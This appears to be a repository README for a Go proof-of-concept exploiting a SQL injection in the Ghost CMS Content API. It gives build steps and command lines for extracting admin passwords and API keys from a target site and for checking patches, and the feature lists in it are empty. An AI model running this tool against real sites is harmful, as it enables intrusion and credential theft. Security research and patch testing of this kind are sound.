gagaltotal/cve-2026-26980-ghost-cms-apiGo-based PoC for Ghost CMS Content API SQL injection (CVE-2026-26980). Verifies vulnerability, extracts admin credentials and API secrets, and validates patches on affected versions 3.24.0–6.19.0.
This repository contains a Go-based proof-of-concept tool for demonstrating and validating the Ghost CMS Content API SQL injection vulnerability described by CVE-2026-26980. The implementation is based on the exploit flow implemented in the main Go source file and is intended for authorized security research and testing only.
The PoC targets Ghost CMS instances affected by a Content API slug filter ordering vulnerability. It can:
The implementation is specifically referenced against the following advisory context:
git clone https://github.com/gagaltotal/CVE-2026-26980-Ghost-CMS-Api
cd CVE-2026-26980-Ghost-CMS-Api
go mod init CVE-2026-26980-Ghost-CMS-Api
go mod tidy
From the project root, build the binary with:
go build -o ghost-sqli ghost_sqli_cms.go
OR
go run ghost_sqli_cms.go
./ghost-sqli --help
./ghost-sqli --url http://target.example:2368
./ghost-sqli --url http://target.example:2368 --extract-password --extract-api-key
./ghost-sqli --url http://target.example:2368 --validate-fix
./ghost-sqli --url http://target.example:2368 --content-key "your-content-api-key"
./ghost-sqli --url http://target.example:2368 -v
This project is provided for educational and authorized security assessment purposes only. Use it only against systems you own, are authorized to test, or are evaluating in a controlled environment. Unauthorized access or exploitation of third-party systems is illegal and may violate applicable laws.